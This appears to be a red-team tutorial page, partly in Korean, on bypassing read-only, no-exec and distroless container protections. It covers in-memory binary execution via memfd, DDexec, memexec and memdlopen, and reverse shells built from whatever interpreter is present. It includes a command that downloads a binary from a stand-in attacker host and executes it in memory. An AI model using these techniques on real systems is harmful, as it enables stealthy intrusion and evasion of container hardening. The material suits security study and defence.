Bypass FS protections: read-only / no-exec / Distroless

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비디오

In the following videos you can find the techniques mentioned in this page explained more in depth:

• DEF CON 31 - Exploring Linux Memory Manipulation for Stealth and Evasion
• Stealth intrusions with DDexec-ng & in-memory dlopen() - HackTricks Track 2023

read-only / no-exec scenario

컨테이너에서 특히 read-only (ro) file system protection으로 마운트된 linux 시스템을 찾는 경우가 점점 많아지고 있습니다. 이는 컨테이너를 ro 파일 시스템으로 실행하는 것이 securitycontext에 **readOnlyRootFilesystem: true**를 설정하는 것만큼 쉽기 때문입니다:

apiVersion: v1
kind: Pod
metadata:
name: alpine-pod
spec:
containers:
- name: alpine
image: alpine
securityContext:
      readOnlyRootFilesystem: true
    command: ["sh", "-c", "while true; do sleep 1000; done"]

하지만 파일 시스템이 ro로 마운트되었더라도 **/dev/shm**는 여전히 쓰기 가능하기 때문에 디스크에 아무 것도 쓸 수 없다는 것은 사실이 아닙니다. 다만 이 폴더는 mounted with no-exec protection으로 설정되므로, 여기에 바이너리를 다운로드하더라도 실행할 수 없습니다.

Warning

red team 관점에서는, 이는 시스템에 아직 없는 바이너리(예: backdoors 또는 enumerators인 kubectl)를 다운로드하고 실행하는 작업을 복잡하게 만듭니다.

Easiest bypass: Scripts

바이너리를 언급했지만, 인터프리터가 시스템에 존재한다면 어떠한 스크립트든 실행할 수 있습니다. 예를 들어 sh가 있으면 shell script, python이 설치되어 있으면 python script를 실행할 수 있습니다.

하지만 이것만으로는 바이너리 backdoor나 실행해야 할 다른 바이너리 도구를 실행하기에 충분하지 않습니다.

Memory Bypasses

파일 시스템이 바이너리 실행을 허용하지 않는다면, 가장 좋은 방법은 메모리에서 실행하는 것입니다. 이러한 보호는 메모리에는 적용되지 않습니다.

FD + exec syscall bypass

머신 내부에 Python, Perl, Ruby 같은 강력한 스크립트 엔진이 있다면, 바이너리를 메모리에서 실행하기 위해 다운로드한 뒤, 메모리 파일 디스크립터(create_memfd syscall)에 저장할 수 있습니다. 이 메모리 fd는 해당 보호의 영향을 받지 않으며, 그 다음 exec syscall을 호출하여 fd를 실행할 파일로 지정하면 됩니다.

이를 위해 fileless-elf-exec 프로젝트를 쉽게 사용할 수 있습니다. 바이너리를 전달하면 지정한 언어의 스크립트를 생성해 주는데, 그 스크립트는 binary를 압축하고 b64로 인코딩한 형태로 포함되며 create_memfd syscall로 생성한 fd에 디코드하고 압축을 해제하는 지침과, 이를 실행하기 위한 exec syscall 호출을 포함합니다.

Warning

PHP나 Node 같은 다른 스크립팅 언어에서는 작동하지 않습니다. 이들은 스크립트에서 raw syscalls를 호출하는 기본적인 방법이 없기 때문에 create_memfd를 호출해 바이너리를 저장할 memory fd를 만들 수 없습니다.

또한 /dev/shm에 파일을 만들어 일반 fd를 생성하는 것은 작동하지 않습니다. no-exec protection이 적용되어 실행이 허용되지 않습니다.

DDexec / EverythingExec

DDexec / EverythingExec 는 **/proc/self/mem**을 덮어써서 자신의 프로세스 메모리를 수정할 수 있게 해주는 기술입니다.

따라서 프로세스가 실행하는 어셈블리 코드를 제어함으로써, shellcode를 작성하고 프로세스를 “변형“시켜 임의의 코드를 실행할 수 있습니다.

Tip

DDexec / EverythingExec를 사용하면 자신의 shellcode 또는 어떤 binary든 메모리에서 로드하여 실행할 수 있습니다.

# Basic example
wget -O- https://attacker.com/binary.elf | base64 -w0 | bash ddexec.sh argv0 foo bar

For more information about this technique check the Github or:

DDexec / EverythingExec

MemExec

Memexec is the natural next step of DDexec. It’s a DDexec shellcode demonised, so every time that you want to run a different binary you don’t need to relaunch DDexec, you can just run memexec shellcode via the DDexec technique and then communicate with this deamon to pass new binaries to load and run.

You can find an example on how to use memexec to execute binaries from a PHP reverse shell in https://github.com/arget13/memexec/blob/main/a.php.

Memdlopen

With a similar purpose to DDexec, memdlopen technique allows an easier way to load binaries in memory to later execute them. It could allow even to load binaries with dependencies.

Distroless Bypass

For a dedicated explanation of what distroless actually is, when it helps, when it does not, and how it changes post-exploitation tradecraft in containers, check:

Distroless

What is distroless

Distroless containers contain only the bare minimum components necessary to run a specific application or service, such as libraries and runtime dependencies, but exclude larger components like a package manager, shell, or system utilities.

The goal of distroless containers is to reduce the attack surface of containers by eliminating unnecessary components and minimising the number of vulnerabilities that can be exploited.

Reverse Shell

In a distroless container you might not even find sh or bash to get a regular shell. You won’t also find binaries such as ls, whoami, id… everything that you usually run in a system.

Warning

Therefore, you won’t be able to get a reverse shell or enumerate the system as you usually do.

However, if the compromised container is running for example a flask web, then python is installed, and therefore you can grab a Python reverse shell. If it’s running node, you can grab a Node rev shell, and the same with mostly any scripting language.

Tip

Using the scripting language you could enumerate the system using the language capabilities.

If there is no read-only/no-exec protections you could abuse your reverse shell to write in the file system your binaries and execute them.

Tip

However, in this kind of containers these protections will usually exist, but you could use the previous memory execution techniques to bypass them.

You can find examples on how to exploit some RCE vulnerabilities to get scripting languages reverse shells and execute binaries from memory in https://github.com/carlospolop/DistrolessRCE.

Tip

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